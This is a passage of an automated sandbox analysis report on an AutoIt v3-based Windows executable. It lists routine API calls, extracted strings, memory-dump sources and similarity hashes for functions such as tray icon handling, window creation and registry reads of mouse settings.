RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,003B316A,?,?), ref: 003B3232
CreatePopupMenu.USER32 ref: 003B3246
PostQuitMessage.USER32(00000000), ref: 003B3267

Strings

TaskbarCreated, xrefs: 003B322D

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: 1790dcee72b790a9b578e650d7b09127d00338bc9ae6db77a0dabef077e28119
Instruction ID: acb49b94c72e9ea70b8b19cb72d98603a89d40f3da0c230596cbe7a767acb9dd
Opcode Fuzzy Hash: 1790dcee72b790a9b578e650d7b09127d00338bc9ae6db77a0dabef077e28119
Instruction Fuzzy Hash: 32412735240228A7DB172B7CDD4ABFD3A1DEB05348F04493BFB028ADA1CB74CA419769

Function 003B1410 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 332
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 003B1459
CoUninitialize.COMBASE ref: 003B14F8
UnregisterHotKey.USER32(?), ref: 003B16DD
DestroyWindow.USER32(?), ref: 003F24B9
FreeLibrary.KERNEL32(?), ref: 003F251E
VirtualFree.KERNEL32(?,00000000,00008000), ref: 003F254B

Strings

close all, xrefs: 003B1454

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: abb1ce63098cf8e99d10b52d7257bec8c1cc7b2e7c21e87bec9de0060f141c18
Instruction ID: 6dbf46c55c7aa6a2b3ab21d9a67109e410641003a6978f6580973d857cd6b554
Opcode Fuzzy Hash: abb1ce63098cf8e99d10b52d7257bec8c1cc7b2e7c21e87bec9de0060f141c18
Instruction Fuzzy Hash: 2ED19131702212CFDB2AEF15C4A5B69F7A4BF05704F5541AEEA4AAB661CB30EC12CF54

Function 003B10F3 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 153
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003B1BC3: MapVirtualKeyW.USER32(0000005B,00000000), ref: 003B1BF4
Part of subcall function 003B1BC3: MapVirtualKeyW.USER32(00000010,00000000), ref: 003B1BFC
Part of subcall function 003B1BC3: MapVirtualKeyW.USER32(000000A0,00000000), ref: 003B1C07
Part of subcall function 003B1BC3: MapVirtualKeyW.USER32(000000A1,00000000), ref: 003B1C12
Part of subcall function 003B1BC3: MapVirtualKeyW.USER32(00000011,00000000), ref: 003B1C1A
Part of subcall function 003B1BC3: MapVirtualKeyW.USER32(00000012,00000000), ref: 003B1C22

Part of subcall function 003B1B4A: RegisterWindowMessageW.USER32(00000004,?,003B12C4), ref: 003B1BA2

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 003B136A
OleInitialize.OLE32 ref: 003B1388
CloseHandle.KERNEL32(00000000,00000000), ref: 003F24AB

Strings

+, xrefs: 003B1292
81, xrefs: 003B11B2
8+, xrefs: 003B1174
, xrefs: 003B12A8
p, xrefs: 003B118A

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID: 8+$81$p$+$
API String ID: 1986988660-2444315614
Opcode ID: ce1749ea2fbce0e341d2b19149eb5cf8b020ebc35d68465fda16a8c8fd82bdd1
Instruction ID: b804013e2e1a8cde8e8e83c48fa0e1d9b1fbdbaa8ecb06358eb8c202df8d1e4e
Opcode Fuzzy Hash: ce1749ea2fbce0e341d2b19149eb5cf8b020ebc35d68465fda16a8c8fd82bdd1
Instruction Fuzzy Hash: 98719DB4911200AFC385EF79E896A9D3AE8BB887447548D3FD50ADB671EB3444428F4D

Function 003B2C63 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 003B2C91
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 003B2CB2
ShowWindow.USER32(00000000,?,?,?,?,?,?,003B1CAD,?), ref: 003B2CC6
ShowWindow.USER32(00000000,?,?,?,?,?,?,003B1CAD,?), ref: 003B2CCF

Strings

edit, xrefs: 003B2CAC
AutoIt v3, xrefs: 003B2C89, 003B2C8E, 003B2C8F

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: 1d23a454898e486629eb1cad7805d92ec01e4b8e48818fb321b1d815ee8afaf8
Instruction ID: e584e66d3a40269d2ba9b82d8a66b8e85c0916e764db6e4e6c4817d567bc0e3a
Opcode Fuzzy Hash: 1d23a454898e486629eb1cad7805d92ec01e4b8e48818fb321b1d815ee8afaf8
Instruction Fuzzy Hash: 2CF017755403907AFB200713AC48EBB6EBDD7C6F50B04042FFD00A21B0C2650842EBB8

Function 003B3B1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,003B3B0F,SwapMouseButtons,00000004,?), ref: 003B3B40
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,003B3B0F,SwapMouseButtons,00000004,?), ref: 003B3B61
RegCloseKey.KERNELBASE(00000000,?,?,?,80000001,80000001,?,003B3B0F,SwapMouseButtons,00000004,?), ref: 003B3B83

Strings

Control Panel\Mouse, xrefs: 003B3B3E

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: d83ca5cdd3b3fa09bbebf3c944966fae67f63aa53cad1a5e3ed052c511349dba
Instruction ID: b1151e4812c05a6cb1f3d34cc3ce4805c19d6db4b676686efcf71e6133d937e3
Opcode Fuzzy Hash: d83ca5cdd3b3fa09bbebf3c944966fae67f63aa53cad1a5e3ed052c511349dba
Instruction Fuzzy Hash: F8115AB5511218FFDB21CFA4DC84AEEB7BCEF01748B104569A901D7114D6319E409764

Function 003B3923 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94windowCOMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 003F33A2

Part of subcall function 003B6B57: _wcslen.LIBCMT ref: 003B6B6A

Shell_NotifyIconW.SHELL32(00000001,?), ref: 003B3A04

Strings

Line: , xrefs: 003F33EB

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: IconLoadNotifyShell_String_wcslen
String ID: Line:
API String ID: 2289894680-1585850449
Opcode ID: 8618471b9595e7fb981153014a66957f63407254bbeeff4b030af6b1bd44878e
Instruction ID: 9433c35947fece381d51eb78bc48f89d0ecb434dee9f1745fd6926de3fe7d252
Opcode Fuzzy Hash: 8618471b9595e7fb981153014a66957f63407254bbeeff4b030af6b1bd44878e
Instruction Fuzzy Hash: 3C31F671508314ABD322EB20DC46BEFB7DCAB40318F10492FF699879A1DB749649C7C6

Function 003B2DE3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

GetOpenFileNameW.COMDLG32(?), ref: 003F2C8C

Part of subcall function 003B3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,003B3A97,?,?,003B2E7F,?,?,?,00000000), ref: 003B3AC2

Part of subcall function 003B2DA5: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 003B2DC4

Strings

`eG, xrefs: 003F2C85
X, xrefs: 003F2C5A

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen
String ID: X$`eG
API String ID: 779396738-1509215119
Opcode ID: 222271487016c5a663cbe9349391a88d1c5d7612ef6392b6bd47e6b70adae88f
Instruction ID: 0ef1363269ad5d6d041014ab491ed963e84c3ab08a52f6a4e6f956b66f15324d
Opcode Fuzzy Hash: 222271487016c5a663cbe9349391a88d1c5d7612ef6392b6bd47e6b70adae88f
Instruction Fuzzy Hash: 6221A571A0025C9FDB02DF95D845BEE7BFDAF49304F00805AE609AB241DBB89A498F65

Function 003CFDDB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 003D0668

Part of subcall function 003D32A4: RaiseException.KERNEL32(?,?,?,003D068A,?,00481444,?,?,?,?,?,?,003D068A,003B1129,00478738,003B1129), ref: 003D3304

__CxxThrowException@8.LIBVCRUNTIME ref: 003D0685

Strings

Unknown exception, xrefs: 003D0692

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID: Unknown exception
API String ID: 3476068407-410509341
Opcode ID: 802f1ce365d96479c409c6cdee0a0fba3034b91d31ac980667b9ca685fb531e3
Instruction ID: 3fd5ba6ccba4f6791fec66441c9e963d9d93254e11c9e4c09b75f226870cc6e2
Opcode Fuzzy Hash: 802f1ce365d96479c409c6cdee0a0fba3034b91d31ac980667b9ca685fb531e3
Instruction Fuzzy Hash: 76F0283680020D77CB06B674FC4AE9D776DAE00700F604437B814CA695EF30DE25C680

Function 0041C161 Relevance: 4.6, APIs: 3, Instructions: 74timewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 003B3923: Shell_NotifyIconW.SHELL32(00000001,?), ref: 003B3A04

Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 0041C259
KillTimer.USER32(?,00000001,?,?), ref: 0041C261
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 0041C270

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: IconNotifyShell_Timer$Kill
String ID:
API String ID: 3500052701-0
Opcode ID: 062e1dc8601aa9a29eb9f9b72963509237c2d470170fc94b73f5e274edd98688
Instruction ID: 7dda398a8ecc9b8929c409ab1a9433768f8a0311f898983b815b65455e1667b8
Opcode Fuzzy Hash: 062e1dc8601aa9a29eb9f9b72963509237c2d470170fc94b73f5e274edd98688
Instruction Fuzzy Hash: 7131D170944344AFEB228B648C85BEBBBEC9B06308F0404DED69A97241C7785AC5CB5A

Function 003E86AE Relevance: 4.6, APIs: 3, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

CloseHandle.KERNELBASE(00000000,00000000,?,?,003E85CC,?,00478CC8,0000000C), ref: 003E8704
GetLastError.KERNEL32(?,003E85CC,?,00478CC8,0000000C), ref: 003E870E
__dosmaperr.LIBCMT ref: 003E8739

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: CloseErrorHandleLast__dosmaperr
String ID:
API String ID: 2583163307-0
Opcode ID: 5e6fd5ad81852691cdc06a5a53444c0a55e62dd57e9ac171eb02aae2a6d1687b
Instruction ID: f3431f2bf2ea43e0ee972afe91f42d008d0a4ba1e0a9731aa63a60304325bac7
Opcode Fuzzy Hash: 5e6fd5ad81852691cdc06a5a53444c0a55e62dd57e9ac171eb02aae2a6d1687b
Instruction Fuzzy Hash: 04016B36F052F016C2636336684577E67494B82778F3A0319FA1C9F1D2DEB08C818290

Function 003BDB38 Relevance: 4.5, APIs: 3, Instructions: 29windowsleepCOMMON

Download Yara Rule

APIs

TranslateMessage.USER32(?), ref: 003BDB7B
DispatchMessageW.USER32(?), ref: 003BDB89
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 003BDB9F
Sleep.KERNELBASE(0000000A), ref: 003BDBB1
TranslateAcceleratorW.USER32(?,?,?), ref: 00401CC9

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchPeekSleep
String ID:
API String ID: 3288985973-0
Opcode ID: 4da68c4cc4413fa487201fa1b5876cca4437f006975ea91acde718cd6bd2d598
Instruction ID: 71683005038fe990f824c3e5dc63d8e19099ee51e8815639d76dd538e088604f
Opcode Fuzzy Hash: 4da68c4cc4413fa487201fa1b5876cca4437f006975ea91acde718cd6bd2d598
Instruction Fuzzy Hash: 76F082306453419BEB70DB60CC89FEA73ACEB85314F144A3AF60AD34D0EB349448CB29

Function 003C1310 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 531COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 003C17F6

Strings

CALL, xrefs: 003C17C6

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Init_thread_footer
String ID: CALL
API String ID: 1385522511-4196123274
Opcode ID: 14a1682b88a91deeb6c730c0dfc75c52c40507c368d3952b14da019b3fe110db
Instruction ID: ab42f80b64b7c07ffe3a707937acfada7febce751fee456e079039720f7c7f5e
Opcode Fuzzy Hash: 14a1682b88a91deeb6c730c0dfc75c52c40507c368d3952b14da019b3fe110db
Instruction Fuzzy Hash: 6B2279706082019FC715DF24C480F2ABBF5AF86304F25892DE896DB3A2D775ED51DB86

Function 003B3837 Relevance: 3.1, APIs: 2, Instructions: 77windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32(00000000,?), ref: 003B3908

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: f2107516d6dfb1341d63b8c4f73e51551000aedd2bca9579c180c855efb586c7
Instruction ID: 67ac94e325fd69baf7cf3b3da96d17231703ce743dd4e64cafaa1550fed78a8a
Opcode Fuzzy Hash: f2107516d6dfb1341d63b8c4f73e51551000aedd2bca9579c180c855efb586c7
Instruction Fuzzy Hash: B33184709047119FE762DF24D8847DBB7E8FB49708F00092EFA99C7650E771AA44CB56

Function 003CF645 Relevance: 3.0, APIs: 2, Instructions: 29sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 003CF661

Part of subcall function 003BD730: GetInputState.USER32 ref: 003BD807

Sleep.KERNEL32(00000000), ref: 0040F2DE

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: InputSleepStateTimetime
String ID:
API String ID: 4149333218-0
Opcode ID: 3d75ec8441ebf1cd59e49c330afe23f31f1797cf38b3b1071baf8b44dca9edc3
Instruction ID: cdc67ee1ef4cee0f1bc3a195ef0937ff37397ee4f3fa0b1c89c894d6cef27e02
Opcode Fuzzy Hash: 3d75ec8441ebf1cd59e49c330afe23f31f1797cf38b3b1071baf8b44dca9edc3
Instruction Fuzzy Hash: 3BF08C352402059FD360EF69D449BAAF7E8FF46760F00003AE95ACB6A0DFB0A800CF95

Function 003B4ECB Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 003B4E90: LoadLibraryA.KERNEL32(kernel32.dll,?,?,003B4EDD,?,00481418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 003B4E9C
Part of subcall function 003B4E90: GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 003B4EAE
Part of subcall function 003B4E90: FreeLibrary.KERNEL32(00000000,?,?,003B4EDD,?,00481418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 003B4EC0

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,00481418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 003B4EFD

Part of subcall function 003B4E59: LoadLibraryA.KERNEL32(kernel32.dll,?,?,003F3CDE,?,00481418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 003B4E62
Part of subcall function 003B4E59: GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 003B4E74
Part of subcall function 003B4E59: FreeLibrary.KERNEL32(00000000,?,?,003F3CDE,?,00481418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 003B4E87

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Library$Load$AddressFreeProc
String ID:
API String ID: 2632591731-0
Opcode ID: 9ffabc83a8f3a76ca1741d0e9b81c154018fdbe5604a375c10c10f08881a7228
Instruction ID: fed6d5439a6a944595f3b4aa68e87de53228ca5babb6a043156147ef4878dcca
Opcode Fuzzy Hash: 9ffabc83a8f3a76ca1741d0e9b81c154018fdbe5604a375c10c10f08881a7228
Instruction Fuzzy Hash: FC11E732600205AADF16BB64DC02FFD77A5AF40B18F10442EF642AF5C2EEB4DB459758

Function 003E8402 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 003E8440

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 6731ae4f73b9b34d3e9a0c11bb14288bd77279d97f848c6504db0556626d4805
Instruction ID: 7f465175ef35e6e9300f1d121c647e50a00297bf55164bb5ae4639d840e9bfd1
Opcode Fuzzy Hash: 6731ae4f73b9b34d3e9a0c11bb14288bd77279d97f848c6504db0556626d4805
Instruction Fuzzy Hash: F111487190410AAFCB06DF59E94099E7BF8EF48310F114169F808AB352DB30EA11CBA4

Function 003E5000 Relevance: 1.6, APIs: 1, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 003E4C7D: RtlAllocateHeap.NTDLL(00000008,003B1129,00000000,?,003E2E29,00000001,00000364,?,?,?,003DF2DE,003E3863,00481444,?,003CFDF5,?), ref: 003E4CBE

_free.LIBCMT ref: 003E506C

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
